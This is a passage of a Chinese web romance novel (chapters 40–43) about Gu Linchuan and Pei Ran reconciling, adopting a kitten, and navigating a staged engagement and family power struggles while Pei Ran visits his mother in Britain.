“……或许,是生活中出现了什么事情,让他难以疏解,情绪堆积便会引发头疼。”
“焦虑症的原因或许有……但我不能肯定,他的情况与我接触到的其他焦虑症患者不太一样,如果你有更具体的事情告诉我,我才能更好的分析。”
医生的话还在耳畔回响,面对突发的头疼,顾临川终究舍不得。
哪怕这件事情只是头疼百分之一的诱导因素,他也做不到眼睁睁看着裴然为此烦恼。
裴然惨白着脸,浑身虚汗地躺在他怀里瑟瑟发抖的场面,在他每次闭眼时都会从黑暗中一闪而过,叫他难以心安。
回了病房,医生已经离开了,裴然正弯腰在叠病号服。
见他进来,便小跑到他面前,“忙完了?我们回家吧。”
“医生同意你可以出院了吗?”顾临川问。
“当然。”裴然在他面前转了个圈,“我头疼一般很快就会好,现在我已经完全好啦,不用担心。”
“生病辛苦了。”顾临川揉他脑袋,“午饭想吃什么?我下厨。”
裴然眼睛一亮,报菜名似的一口气说出好几个爱吃的菜,“都可以做吗?”
“嗯,都可以。”
只要你健康快乐,有什么不可以的呢?
争吵和冷战就这样无声地消弭,和开始一样,没有特定的标志宣告,但两人都心照不宣地选择了和好。
下午,顾临川回了公司办公。
陈特助敲了敲门,推门进来。
他能察觉到自家老板的心情似乎还不错,他把手里的报表放下,按照惯例汇报接下来的行程安排。
结束之后,他稍顿了顿,表情有些犹豫。
顾临川察觉到面前人的神色不对劲,停了笔,“什么事?”
陈特助一抿唇,“是这样的,您今天凌晨给琳达姐发去一条消息,内容是请她去联系宋小姐,商量订婚的事宜,但一直到现在,她都没有去执行。”
“所以呢?”
“她想让我来问您,你发送短信的时候,是否头脑清醒?”陈特助咽了咽口水,似乎也觉得这样的问题很蠢,但他不得不问。
毕竟在昨夜之前,顾总对于订婚宴一事是完全拒绝的,突然变卦,实在让人感到困惑。
许是喝了酒?睡糊涂了?
虽然陈特助从未看见自家老板陷入混乱的情绪。
“我很清醒。”顾临川说完,神色漠然,又继续处理工作。
“好的,我明白了。”陈特助转身退了出去。
片刻后,他又推门进来,“还有一件事情……”
“顾先生那边对小顾总的安排很不满意,一直在催促您重新处理。”陈特助将资料翻出来,递到他面前,“而且,老宅那边传来风声,小顾总和裴先生的婚事也将近了。”
啪嗒一声,顾临川手里的钢笔竟被生生捏断,笔头掉落在毛毯上。
“我知道了。”
不算生气的声线,但实在算不得和善。
陈特助身子一抖……完了,他就知道老板会发怒。
偌大的助理团队,竟无一人敢直面恐惧,陈特助欲哭无泪地离开了。
过了一会儿,顾临川又换了一支笔,冷静平稳地在文件上签下自己的名字。
40.第 40 章
宠物医院打来电话,说下午便可以结束观察,将小猫领养回家了。
裴然在家里期待地转了两圈,换了身新衣服,颇有几分去幼儿园接第一次上学的小孩的姿态。
开车上路之后,他特意绕路到了一家宠物店,买了可以安抚小猫的毛条和毛绒绒的小鱼仔玩具,想了想还买了一件宠物太空舱。
到了医院,裴然先是去签了字,随后才被带到小猫所在的房间,护士小姐将小房间的门打开,小猫就好奇地喵喵叫起来。
裴然听到声音,心都要被萌化,当即便伸手要去抱它。
洗干净打理好后的小猫不似从前的狼狈,看起来格外软萌。
“喵呜喵呜。”
小猫颤颤巍巍地朝着裴然走过来,将前爪子放在裴然的掌心,裴然顺势将它抱起来,一边摸一便跟着护士往楼下走。
最后在大厅领了些治疗和预防的药物之后,裴然便正式地把小猫放进太空舱,打算带它回家。
“回家之后让顾临川给你取个名字,以后你就不是没有家的小猫了,知道吗?”裴然挠了挠小猫下巴。
“喵呜喵呜。”小猫享受地眯了眯眼。
关上舱门,裴然稳稳托着底部,步履平稳。
停车的地方在马路对面,此刻红绿灯前正围着一群人,堵住了必经之地。
裴然怕人太多吓着小猫,只好绕开人群往边缘地方走,顺便侧耳听他们议论,这里发生了什么。
“哎哟,你看这车撞得!幸好人没什么大事!”
“听说那个货车司机是酒驾,你说他这开什么车,这不是纯祸害人吗?”
“可不是,我亲眼瞧见的,那大货车嗖得一下就撞过来了,这小车再反应慢点估计都成碎片了。”
“……”
车祸?
裴然身子下意识哆嗦了一下,想起当年的车祸,父母在车祸中一死一重伤。
他也从云端骤然坠落。
“抱歉,麻烦让让。”裴然脸色惨白,被无端看戏的人裹挟进人群中央。
他虚掩上眼睛,调整呼吸,尽量让自己忽视眼前车祸的场景。
他本想从这里穿过去,直接到达对面,但此刻因为车祸的缘故,道路上拉开了警戒线,要过去只能绕更远的路。
但人群太过嘈杂拥挤,他连退出去都很艰难。
于此同时,车祸现场的大货车司机吓得满头大汗,对着警察语无伦次地解释着:“对不起对不起,我喝了一点酒,意识不清醒了。”
警察从腰间取下手铐,义正言辞地警告:“你以为只喝一点就没事了?简直是蔑视生命和交规!”
宋妍宜从车上下来,皱着眉看着眼前的老泪纵横的中年男人,低头对助理说:“查查他背后的人,案件就交给警方处理吧。”
“是,老板。”
由于男人对喝酒驾车一事供认不讳,警察来之后处理得很快,做好记录后便带着几位当事人离开了,只留下一群好事的路人在这里围观满地的狼藉。
宋妍宜疲惫地揉了揉撞到的地方,应该是没伤到骨头。
车祸发生时,大货车向疯了一般直愣愣越过护栏朝她冲来,她反应迅速,一把夺过方向盘往另一边打死。
最终,两车虽相撞,但幸好未出现人命。
宋妍宜打了个电话,派人来接自己,她则是绕过乌泱泱的人群走到空旷的地方,谁知在此刻看见一道熟悉的身影。
裴然抱着小猫动作不敢太大,迈着小碎步朝外面挪动。
肩膀上骤然被人一拍。
裴然不敢回头,因为身后就是车祸现场,他只好出声询问:“你好,请问你是?”
宋妍宜从身后绕到前面,“是我。”
“妍宜!”裴然长舒一口气,“你怎么也在这里?”
宋妍宜指了指车祸的方向,对他说:“开车路过,出了点车祸。”
裴然这才知道,眼前的车祸的主角之一便是宋妍宜。
他关心地问:“人没事吧?去医院看过了吗?”
“没事,小伤而已。”宋妍宜说。
裴然“噢”了一声,又问:“不用留下配合警察吗?需不需要我陪你?”
“不用了。”宋妍宜说,“开车的是助理,他会处理好的。”
闻言,裴然又“噢”了一声,便不说话了。
说话间,两人已经走到空旷的马路边上,宋妍宜见他手里拿着宠物太空舱,便闲聊了一句:“养宠物了?”
“嗯,不是我的,是顾临川的。”裴然解释说,“是我们上次一起在草丛里捡到的。”
顾临川还会养宠物?宋妍宜想了想那个画面,有些想笑。
裴然想起什么,“对了,顾临川答应了,恭喜你。”
裴然是真心地为宋妍宜高兴,他知道宋妍宜走到如今的地位很不容易,若非必要,也不会出此下策。
宋妍宜理了理被风吹乱的头发,感慨万千:“我已经知道了,说实话我很吃惊,因为我本来没抱希望的,果然只有你能创造奇迹。”
“也没这么夸张。”裴然被她说得有些不好意思,“总之,是件好事情。”
“你去哪?”宋妍宜抬手看表,“司机很快就到,送你一程。”
“方便把我送回家吗?”裴然说了顾临川家的地址。
宋妍宜挑眉,但也不意外,点头说:“顺路。”
司机很快就到,将两人载上,先将裴然送回家之后,才驱车前往宋妍宜要去的目的地。
盛信公司一楼大堂。
得知宋妍宜要来,陈特助一早便在楼下候着,接到人后把人带到了总裁办公室。
“顾总,宋小姐到了。”陈特助轻叩房门。
得到回应后,宋妍宜推开门进去。
大门关上的一瞬间,助理团炸开了锅,纷纷放下手中的工作,拿起手机在社交小群中疯狂发消息。
艾米:什么情况?老大真的要订婚啊?
琳达:没错,老大亲自给我下达的命令,陈特助确认过了,是本人发的。
陈特助一脸黑线:你们还好意思说,又让我一个人去。
琳达:因为你是最勇敢的。
艾米:所以现在什么情况?咱们的救命神器,老板的情绪稳定剂,未来唯一真老板娘,换人了?
琳达:也不一定,毕竟只是一个订婚宴,还没有真的办理结婚证……这样把我们老大形容的好像一个渣男啊……
何思浩:前段时间裴先生不是还来过吗?老大应该还是和宋小姐做戏吧,我反正不信他是认真的。
剩下仨人纷纷:+1。
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>陈特助及时控场:行了大家工作吧,我待会儿进去送资料,给你们探取一线情报资源。
艾米、琳达、何思浩:多亏有你.jpg
门内倒是一如既往地和谐,宋妍宜甚至熟稔地和他聊起家常:“来的路上碰上小然了,听说你养了只猫?倒是少见。”
“小猫年幼,然然不放心它。”顾临川长腿交叠,姿态随意。
“看起来你们的感情恢复得挺好的。”宋妍宜轻舒出一口气。
顾临川挑眉,神情却是冷的:“这不是多亏你不远万里地替我解释。”
“临川,这件事情,你怪我吗?”宋妍宜脸上的笑意淡了,“是我擅作主张了。”
“你不应该把他卷进来。”顾临川站起身,取出一卷烟在手里揉搓,却没有点燃,“你暴露了我的软肋。”
宋妍宜沉默。
半晌,她轻声道:“抱歉。”末了又补充道,“你肯答应,多谢。”
顾临川转过身,“不用谢我,你应该谢你自己,毕竟你找了一个完美的合作伙伴,不是吗?”
这句话从顾临川嘴里说出来,几近于接受她的道歉,宋妍宜紧绷地身子总算是松懈下来。
“婚宴得提前进行了,最近宋致远不知道从哪里找来了帮手,收购了不少散股。”宋妍宜皱着眉又说,“前些日子,我在他书房外听到他和人交谈时,提到了裴然的名字,你多加小心。”
顾临川垂着眼,过了一会儿才说:“他哪里来的胆量?除非……”
宋妍宜灵光一闪,接上他的话:“除非他找到了能和你抗衡的靠山?”
两人对视一眼。
“如果真是这样,那就很难办了。”宋妍宜轻声呢喃。
毕竟两人的婚约只是作假,总有被拆穿的那一天,如果不能在这之前迅速解决掉宋致远这个大麻烦,这桩婚约的意义便也丧失了。
“老爷子摔倒的事情,查的怎么样了?”顾临川沉吟片刻后问道。
宋妍宜面露苦涩:“监控显示是一位下人将他推下去的,抓到人时,他正要跑,之后他只说是收钱办事,其他什么也不肯多说。”
“他不说,有的是人说。”顾临川说,“不管这件事是不是宋致远指使的,这口锅都必须由他来背。”
“我明白了。”宋妍宜点头,眼底闪过一丝狠意。
“抱歉打扰了。”陈特助推门而入,先是对宋妍宜微微欠身后,侧身朝顾临川汇报:“老大,您安排的地毯已经铺好了,但是工人说裴先生一直没回家。”
顾临川抬起手腕,距离裴然离开家到医院再回到家,已经超时整整一个小时。
他又打开定位系统,小圆点正是裴然所在的地点。
在家附近,不算太远。
“我知道了。”顾临川抬手示意他出去,“叫琳达进来。”
宋妍宜非常善解人意地说:“你先去忙吧,我可以和你的助理沟通接下来……”
说话间,顾临川已经将外套放在臂弯,拿上车钥匙走到门口了。
琳达推开门,保持着职业微笑说:“宋小姐您好,接下来由我和你商议关于订婚宴的事宜,请您放心,我会清楚传达顾总的意思,并最大程度的保留您的意见。”
宋妍宜看着男人如风一般的背影,嘴角抽搐:“……好的。”
41.第 41 章
红枫公园里,常绿的树叶在冬季仍旧绿油油,随意几枝早开的春梅在风中摇曳。
裴然在路旁的长椅上坐下,抬眼看着立在眼前的顾辰,心中只觉无奈。
“坐吧,别站着了。”裴然说。
顾辰这才怯怯地看他一眼,局促地坐在他身侧。
“你怎么来了?”裴然见他一脸的委屈,行为也没有冒犯,终究是心软了,“上次打你那一巴掌,对不起啊,是我太冲动了。”
闻言,顾辰立刻摇头,伸手却又在半空停下:“没关系的然哥,是我不应该那样对你。如果打我能让你好受一点的话,你怎么打我,都没关系的。”
裴然长叹一声,感觉到气氛怪异,却也很清楚,一切都回不去了。
“我听父亲说,我哥要和妍宜姐订婚了,你知道这件事情吗?”顾辰试探地问。
裴然点头:“知道。”
顾辰有些着急:“那你和我哥……”
“一两句话说不清楚,总之我没关系的。”裴然冲他抱歉一笑,“还有什么想说的吗?小猫有点饿了。”
小猫饿得呜呜叫着,咬着裴然的手指不停吮吸,却没有奶出来。
顾辰低着头也逗了逗小猫,看向裴然的眼神像做错事情的小孩,“然哥,对不起,我们的婚约是我太心急了,妄图用这样的方式将你困在身边,却伤害到你。”
裴然顿了顿,没办法说出没关系,只是问他:“那你和顾叔叔说明白情况了吗?”
“嗯。”顾辰点头,“我爸把我卡停了,让我去公司跟我哥学习一个月。”
换做从前,裴然这时候肯定会适当的笑出来,并让他加油,但此刻他实在无话可说,甚至连笑意也很淡。
见裴然如此反应,顾辰脸色很差,耷拉着肩膀,呆愣在原地,有些委屈又不可置信:“然哥,我是不是真的和你没可能了?”
“顾辰,在英国的这七年你是看着我过来的,我从来没有隐藏过我对顾临川的爱意和思念,我以为你会懂我,没想到……我不知道这几年是因为什么事情,让你的态度发生了改变,我很抱歉,但就像我说的,我只是把你当做弟弟。”
“然哥……”顾辰怔愣住,垂头丧气,“我明白了。”
“就这样吧,小辰。”裴然站起身,抱着小猫打算离开,“我已经耽误很久了,家里有人在等我。”
大家都心知肚明家里的人是谁,顾辰没有再问,扯着嘴角笑起来,但很快又消散下去,和他并肩而行。
走到门口时,顾辰停住脚步,低声哀求:“可不可以最后抱一下?”
裴然本想拒绝,可回过头撞见他眼底的失落,又忍不住心软。
他将小猫放下后,大方地走过去,踮起脚尖揽住他的肩膀,另一只手拍了拍他的背:“早点回去吧。”
顾辰手靠在他腰上,仅仅一瞬又放下,闷声道:“嗯,再见。”
裴然松开,挥手跟他告别,看着他的背影消失,转身往前走,脚步还没完全落稳,目光就先撞进一片沉沉的视线里。
不远处的树下,那人不知道站了多久。
一身冷色,肩线绷得壁纸,就那样安安静静地立在那儿,却像自带一层低气压,把周遭的空气都压得发紧。
四目相对的一瞬间,他莫名心跳漏了一拍。
该不会被他看见两人拥抱的画面了吧?
顾临川没说话也没动,黑漆漆的眼睛一眨不眨地盯着他,像是要把他浑身上下都清洗一遍。
他回过神来,小跑上前,轻声喘着气:“你怎么在这里?”
走近的时候,他才看清楚顾临川眼底被刻意压下去的、浓厚的占有欲。
“来接你。”顾临川从他手里将小猫接过,另一只手自然地牵起他,“怎么不回家?”
“路上碰到熟人,就到公园里散了会儿步。”裴然抿唇,不确定他有没有看到,还是选择了先隐瞒,“你怎么找到这里的?等很久了吧,我们回家。”
顾临川视线飘向顾辰离开的方向,眸色漆黑看不清情绪,只是捏着裴然的手微微用力,但片刻后又恢复,“走吧。”
家里,裴然刚把小猫放下,便发现家里的不同——所有的角落都被铺上了柔软的地毯。
裴然惊喜地回头:“你怎么让人铺这么多地毯呀?”
“你不是喜欢光脚到处跑吗,这样暖和。”顾临川说。
“我那是说的气话呀。”裴然红着脸,“我会穿鞋子的。”
“过来踩踩。”顾临川朝他招手,搂着腰把他放在地毯上。
裴然脚背很白,浅灰色的毛绒地毯更衬得他皮肤白皙,他轻轻踩上,像第一次蹒跚学步的孩童,扶着顾临川的手臂,一步一步慢慢走。
“好软。”裴然眼睛蒙上一层雾气,望着他,嗓音很软,认真地问,“那我以后惹你不高兴了,是不是就没办法威胁你原谅我了?”
“还打算惹我生气?”顾临川被逗笑,“好了,只要你站在我面前,我就不会和你生气。”
“骗人。”裴然立刻反驳,“昨天晚上你就在生气,还不和我一起睡觉。”
“没有生气,只是在工作。”顾临川想起昨晚,仍是后怕,捧着他的脸,轻轻掐着腮肉,“以后我工作太忙,忽略了你,你就冲我发脾气好吗?”
爱人离开太久,失了安全感,连带着从前的任性和恃宠而骄的脾气。
而他太急躁,迫切地想回到从前,丢了耐心。
看到裴然很轻地点了点头,顾临川才放下心,拉着他一起为小猫准备晚餐。
小猫饿了许久,迫不及待地跑过来,趴在饭碗吭哧吭哧地吃饭。
裴然见它唇边沾上一全白色的奶渍,忍俊不禁,等它后擦干净放回它的小窝。
安顿好小猫后,裴然又慢悠悠到了厨房,倚在门框边,欣赏着顾临川的背影。
暖黄的灯光落下来,把他的背影衬得很柔和,宽肩窄腰,正低着头专注地处理着手中的西红柿。
西红柿被切碎,流出汁水,修长的指尖轻轻按住,手起刀落,漂亮的番茄片便形成了。
灶台上的锅里热水沸腾,水汽轻轻地往上飘,模糊了一点轮廓,让他整个人显得梦幻不真实。
分明是很普通的一幕,裴然却偷偷红了眼眶,悄悄在身后抹眼泪。
如果没有那场车祸,这样的日子也许不用等七年之久。
只是幸好,一切不晚。
顾临川身后仿佛也长了眼睛,手上动作不停,却抽空问他:“哭什么?”
裴然动作一顿,走上前从背后拥住他,声音哽咽:“你怎么什么都知道?”
“我闻到了咸咸的味道,但是我没放盐,只能是有小哭包偷偷哭了。”顾临川将手洗净,转过身将他轻轻搂进怀里,“怎么了?”
“刚刚有沙子进眼睛了。”裴然把脸深深地埋进他的胸口,转移话题,“好香啊,你在做什么?”
“番茄鸡蛋面。”顾临川并没有拆穿他拙劣的借口,反而任由他在自己身上擦泪,“去外面玩会儿,
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做好叫你。”
“不要,我就在这里陪你。”裴然摇头,想起什么又闷声问他,“你想好要给小猫取什么名字了吗?”
“还没有,你有什么想法吗?”顾临川将鸡蛋打散,放一边备用。
“小草怎么样?”裴然说,“我们本来就是在草丛里捡到他,而且我也希望它像小草一样,春风吹又生。”
顾临川无不答应的:“你先出去告诉它这个好消息,厨房油烟重。”
裴然这才听话地走出去,跑到猫窝旁喊小猫:“小草小草,你有名字啦。”
喊完,他又跑回厨房,黏在顾临川身边。
顾临川拿他没办法,只好让他像条小尾巴似的跟在身后。
顾临川做饭很娴熟,香气四溢的番茄鸡蛋面被端上餐桌,摆在裴然面前。
餐前,顾临川又从厨房端出一碗黑乎乎的汤药,苦涩不已。
裴然闻到熟悉的味道回过神,有些不好意思:“你还记得这药啊?”
“你身子太差。”顾临川毫不留情地揭穿,“是不是断药许久了?”
“太忙,就忘记了。”裴然摸摸鼻子,心虚。
显然,此刻裴然无论如何也躲不掉,只好屏住呼吸一口闷。
嘶,好苦。裴然小脸紧皱。
下一秒,一块橘子糖果塞进嘴里,泛起丝丝甜意。
男人手递完糖果仍不老实,顺着微张的唇逗弄着舌尖。
“唔……糖果……要掉了……”裴然差点含不住,抓着他的手腕求饶。
“嗯,吃吧。”顾临川大发慈悲地松了手。
一切妥当,裴然坐下吃面,暖和的汤面下肚,浑身都热了起来。
饭后两人百无聊赖地躺在沙发上看电视,裴然看着闹钟提示,才想起自己订好明日会英国的机票,忘记同顾临川讲了。
他头枕在顾临川腿间,伸手戳了戳:“明天我就要走了。”
“……多久。”顾临川抚摸他发尾的动作一顿。
“晚上九点的飞机。”裴然说,“这次去可能要两个月,等工作室和母亲的情况都稳定下来,我就回来。”
顾临川低头吻了吻他的额头:“嗯,我等你。”
裴然自从新年之后,便将工作室的事情全权交给庭婷处理,除了一些必要的文件和设计稿。
此次回英国,也正好将之前工作室在英国留下的事情全部处理干净,也能陪着母亲做康复训练。
想起顾临川和宋妍宜的婚事,裴然内心总觉得闷闷的,他拉着顾临川的手:“婚宴日期定下来了,一定要提前告诉我,我会回国参加的。”
“当然会。”顾临川对这个话题似乎没那么排斥了,甚至还轻笑一声,凑近他的耳朵低语,“你也算是婚宴的主角,怎么能不到场呢?”
半个主角?什么意思?裴然听得一知半解,正想询问,但下一秒被突如其来的举动转移了注意力。
他被顾临川拦腰抱起来,腾空的瞬间没忍住轻呼出声:“怎么了?”
男人没有回答他,脑海里又浮现出那个拥抱,眸色很深,整个人散发着危险的气息,选择用身体告诉他答案。
大掌顺着腰腹一路往下,触及某个地方时,裴然整个人猛地一颤,随即软了腰。
裴然脸红,“会不会太早了?”
“明天你要赶飞机。”顾临川沉声说,“早点开始早点结束,让你多睡会儿。”
说完便吻上裴然的唇,衣衫褪尽,长夜漫漫,两人紧紧与彼此相融。
42.第 42 章
三月底的英国,倒春寒。
前一日还是带着暖意的明媚天气,今日却突如其来一场寒雨,打破了气温回升的平稳。
“然!”leo刚下课,急匆匆地跑出来,冲到裴然面前左看右看,“淋着没有?”
裴然躲在屋檐下,倒是没淋到雨,被他这副担惊受怕的表情逗笑,“只是一场雨,放心吧,我没这么娇弱。”
说着,就带着leo往前走。
Leo跟上去,拍了一张照片,发给远在大洋彼岸的顾临川,嘴里不停念叨着:“那不行,顾跟我讲过,按照你们中医的说法,你的身子很虚弱。”
“你刚刚拍的照片我是不是没睁眼睛?”裴然凑上前,赶在发出去的最后一秒拦住他,“重新拍。我一点雨也没淋到噢。”
离开南城前,裴然向顾临川保证每天都会报备视频和状况,但是又一次画稿太沉浸,等想起来时,手机上有二十多个未接来电。
他颇为心虚地回拨过去,解释:“我忘记了……”
“吃饭了吗?喝药了吗?”顾临川问他,“照片呢?”
裴然画稿画得连水都忘记喝,更何况其他,自然是没有照片的。
顾临川也没有不高兴,而是转头找了leo当“间谍”,负责每天监督裴然的饮食和作息。
Leo听完始末,当即拍着胸脯表示,保证完成任务。
于是吃饭喝药喝水画画,裴然的一举一动,都被leo拍成照片发给顾临川。
最开始leo偷偷拍照,被裴然发现,他心中还有些抵触,但顾临川一句“七千多公里,我都见不到你。”裴然就心软了。
所以,事到如今,他唯一的要求便是leo能把他的照片拍的好看一点。
此刻,leo歪着头对比,虽然照片里的裴然眼睛是闭着的,但人是好看的呀,这样想着,leo还是举起手机给他重新拍了照片。
小鱼骑自行车(leo):顾,今天英国降温,然穿得很暖和,路上也没有淋雨。
CHUAN(顾临川):嗯。
裴然在一旁看着,颇为无奈地扶额,等他们发完消息,才和leo一起离开。
两人快步到了医院,徐梦援这几个月坚持复建吃药,已经能在辅助工具的帮助下,短时间的站立和行走了。
两人赶到时,徐梦援正在护工的搀扶下,使用工具在病房里移动。
见到裴然,徐梦援很高兴地朝他展示自己的锻炼成果:“小然,你看,我可以慢慢走了。”
裴然也走到她身侧保护她,以防她摔倒,眼底含笑:“妈妈好厉害。”
Leo赶紧将路让开,也说:“阿姨恢复得真好。”
随后,两个人便陪着徐梦援在病房里绕了几圈,徐梦援精神足,倒是裴然担心她,先开口让她休息一会儿。
徐梦援不觉得累,拒绝:“我还可以再走几圈。”
“妈妈,复建的事情急不得,我们先休息会儿。”裴然上前拉着她的手,冲护工使眼色,把她往病床方向带,“你不是说想见见顾临川吗?他今天有空,我让他和你视频。”
一听到这,徐梦援才彻底打消了念头,顺着往病床走,乖乖地躺下。
视频电话很快接通,顾临川一身随性的休闲装,背景似乎是在商场里面,人来人往声音嘈杂,顾临川便跨步走到安静点的角落。
徐梦援眼睛有些湿润,看了看裴然又看了看顾临川,两个孩子都已经长大,顾临川变化最大,棱角分明眉眼深邃,与当年青涩的小男孩大相径庭。
其实早在几个月之前就打算让顾临川来英国见徐梦援,但事情太多,加上婚约的事情。
医生也说她的精神状态不算稳定,还不适合见到从前的人,勾起那些回忆,所以便一直拖到现在。
顾临川看着镜头里面温柔的熟悉的脸,轻声说:“徐姨,近来可好?”
徐梦援诶了一声,连说:“我一切都好,倒是你,从前要给你打电话,小然都说工作忙,你也要照顾好身体呀。”
“姨,我会的。”顾临川说,“等我忙完国内的工作,我就来英国看你。”
“没关系的,工作忙也要先照顾好身体,不用着急过来。”徐梦援赶紧说。
“才不是。”裴然突然凑到镜头前,拆母亲的台,“醒过来之后,妈妈一直在念叨着想见到你。”
顾临川低头轻笑一声:“是我不孝,徐姨醒过来后,我都没及时出现。”
徐梦援被两个孩子说的心里臊得慌,惯常苍白的脸色此刻红润起来:“哎哟你们俩,从小就这样,连眼神也不对一下,就默契地一致对外。”
裴然抿唇偷笑,余光瞥见史密斯医生从门口走过,急忙说:“我还有事先走了,妈妈你们好好聊。”
说完,不等两人反应,以迅雷不及掩耳之势,冲出了病房。
裴然和史密斯医生聊了一会儿关于母亲的病情,估摸着时间回了病房。
等裴然再次回来时,或许是因为刚才走了许久,徐梦援已经闭上眼睛轻轻睡下了,手机被放在床头,视频已经挂断。
裴然拿起手机走到阳台,重新给他打去视频电话。
“和妈妈聊的怎么样?”裴然拿手机离得很近,只露出额发和笑得弯弯的眉眼,“我就知道,妈妈还和以前一样喜欢你。”
“……然然。”顾临川低声喊他。
“怎么了?”裴然眼睛里充满了疑惑,歪着头。
顾临川无法形容当下的心情,他自认为亲缘单薄,父母爱与他而言是奢望,幸好他也从不去强求。
但裴然不一样,他的家庭是难得的幸福和谐,因此顾临川也得以得到一部分的爱意。
七年的时间说长不长,说短不短。
顾临川没想到徐梦援会如此记挂自己,方才的言语间都是对自己的思念,和对两个人感情的关怀。
他心里清楚,这些爱有多真切和深沉,也明白,作为朝夕相处的亲人,裴然向自己的母亲所展露出的爱意必然是毫不避讳的,直白又热烈的。
否则,徐梦援又怎么会在经历一切之后,仍旧将他看作自己的孩子一般疼爱。
他有些后悔当初为了报复裴然所做的幼稚又伤人的事情,为什么不肯多给裴然一些信任呢,为什么不肯再重逢后问一问呢?
他被分离折磨得没了人性,阴暗与疯狂早已刻入骨髓。
而在那个夜晚,他不敢去赌的问题的答案,也在此刻有了无声的回答。
裴然会是世界上最爱他的人。
如果他不是这么警惕敏感,或许不用将裴然吓到精神紧绷,甚至进了医院。
只可惜,世界上没有后悔药。
顾临川嗓音有些沙哑,问他:“这么久没见了,有没有想我?”
裴然没搞懂他怎么跳
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到这个话题,但还是诚实道:“想,很想很想。”
顾临川低下眼,顿了几秒,复又抬头:“好乖。”
裴然红着脸,有些害羞,看了看他身后的环境,急忙转移话题:“你不在公司吗?这里是哪里啊?”
不等顾临川回答,看到这个背景,裴然倏地想起从前在同学聚会上,周旭言曾经说过的话。
顾大校草,陪着校花许清言在商场高调的买首饰,联想到顾临川在这七年里很可能有过其他的恋爱对象。
裴然当即涌上一股酸涩之感,抢先一步酸溜溜地说:“是不是又在陪别人逛商场?”
闻言,顾临川轻轻挑眉,问:“又?我什么时候陪别人逛过?”
反应过来说漏嘴,裴然一下捂住嘴巴,摇头不打算告诉他,欲盖弥彰道:“我什么也没说。”
顾临川宠溺地低笑,举起手机给他展示周围的环境,说:“就只有我,还有陈特助,没有别人,然然。”
镜头转到陈特助,裴然羞愧不已,顶着通红的脸打招呼:“你好。”
陈特助露出礼貌且合适的微笑:“裴先生好。”
裴然咽了口唾沫,被自己脑海里面乱七八糟的思想搞得非常尴尬,见状便说:“那既然这样,你们先忙,我先挂了?”
顾临川轻笑,转头对着陈特助说:“然然脸皮薄,你别笑他。”
陈特助面无表情:“……是。”
裴然红得简直要冒烟,无力地阻止他:“别说了。”
顾临川逗够人,意犹未尽的勉强收手:“相信了吗?然然。”
“相信相信。”裴然红着脸声音很闷,小声补充,“而且明明只有你在笑我。”
裴然这下是没脸继续问下去了,想着等下次有空再问清楚这个事情。
“然然,这七年,我身边谁都没有。”顾临川不给他胡思乱想的时间,直截了当地说,“唯一的婚约也只是做戏,你知道的。”
说起婚约,裴然有些担忧地问:“妍宜怎么样了?你们订婚的消息有帮到她吗?”
顾临川说:“她那些墙头草亲戚倒是老实不少。”
裴然松了一口气,说:“那就好,总算是没白费力气。”
毕竟是从小到大的情谊,裴然真心希望宋妍宜能得偿所愿。
“然然,婚宴过后我和宋妍宜会一起请假,假借蜜月的名义躲起来。”顾临川说,“到时候,我带你出去玩,好吗?”
“出去玩?”裴然来了兴趣,他这些年太紧绷,都没有机会出去看看,“去哪里?”
“你想去哪里?”
裴然思考了几秒,“我想去一个……很安静的地方。”
“早上醒来,拉开窗帘就能看见大片绿油油的草地,还有长得很茂密的树林,风吹过,带着暖意和阳光的味道。”
“下午可以去滑雪、野餐,山里面或许运气好还能遇见小松鼠,晒晒太阳。”
“晚上,没有城市的灯光,夜空很亮,抬头就能看见漫天的星星,时间也变得很慢,安安静静的,什么也不用想。”
说完,他自己都有点不好意思,微微低下头,觉得自己的想法太过理想化。
这个画面是曾经他在童话故事书里看见的,印象深刻,一直记到如今。
下一秒,顾临川看着他泛红的耳尖,没有丝毫迟疑,轻声应下:“可以。你说的地方,我带你去。”
43.第 43 章
“顾总,时间差不多了。”
挂断电话,陈特助替他将手机收好,微微俯身提醒。
顾临川便跟着他一同回到Aurora珠宝店里,经理见状立马迎上来,领着他往贵宾室的方向走,“顾先生,您请。”
贵宾室是单人间,灯光柔和,搭配短绒厚地毯,中间一台圆桌和宽敞的沙发,整体低调却又充满质感。
“您先稍作休息,我们很快为您把定制戒指拿上来。”经理温声说。
顾临川姿态随意,轻抿一口茶水后向后仰躺:“不着急。”
经理摸不清楚这句话的含义,只好赔笑。
片刻后,贵宾室门被打开,珠宝专员将托着丝绒托盘走进来,步履稳重,放在顾临川面前。
“顾先生,这是您定制的戒指。”
陈特助上前替他将丝绒布拉下,蓝宝石在灯光下泛着幽蓝深邃的光,线条利落,没有多余的碎钻堆砌。
两枚对戒以海浪为设计元素,合在一起则是一整片大海,安静、坚定、又浪漫。
戒指是裴然当年那份手稿一比一还原做出来的,还原了细节的同时在内部刻上了两人的名字。
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当年裴然画下手稿的时候满怀希望,期待着戒指制作出来的模样,只可惜后来物是人非,这件事情被搁浅在记忆的沙滩上。
迟到了七年的戒指,此刻终于被顾临川重新握在掌心。
蓝宝石顶部有些锋利,顾临川手指用了力,感受到微弱的刺痛感才重新放回去。
“顾先生,您还满意吗?”专员见他迟迟不说话,小心翼翼地问。
专员心底也发虚,毕竟这份稿件年代有些久远,虽然保存的比较好,但是由于设计者并不在场,顾先生作为第三者也诠释的不是很清楚。
他们的珠宝设计师在制作的过程中非常艰难,因为客户要求百分百的还原度,所以光是琢磨稿件就花掉了整整一周的时间。
而顾先生的资金非常充足,他们根本不敢有丝毫的怠慢,后续又导致他们在选择宝石的时候陷入纠结。
毕竟越贵的当然越好,只是越贵的也很难找。
这一版也是他们调整过后的第七版,不知道面前的先生会不会满意。
“包起来吧。”顾临川眼神温柔地看着戒指,像是透过戒指看着遥远的爱人一般。
“好的先生,您稍作休息。”经理和专员对视一眼,大喜过望。
经理眼神示意一旁的专员赶紧下去打包,自己则是俯身为他倒茶。
整个过程迅速又靠谱,专员在顾临川的眼神示意下将包装精美的戒指递给陈特助,微笑:“先生慢走。”
陈特助深知自家老板对这份戒指的用心,接过戒指后,问了一嘴:“需要告诉裴先生吗?”
“不用。”顾临川抬脚往外走,“先保密吧。”
陈特助:“是。”
顾临川和宋妍宜的订婚宴定在三月中旬。
作为南城顶级豪门顾家,和势均力敌的宋家联姻,两家婚事也是圈里的一件大事。
各路人心怀鬼胎,一时间南城流言四起,真心祝贺之人有,但更多的是借此机会实现自身目的的人。
这段日子宋妍宜忙得不可开交,公司里面股权交接一堆文件,家里长辈还要时不时来向她打听,想要借她的手攀上顾家。
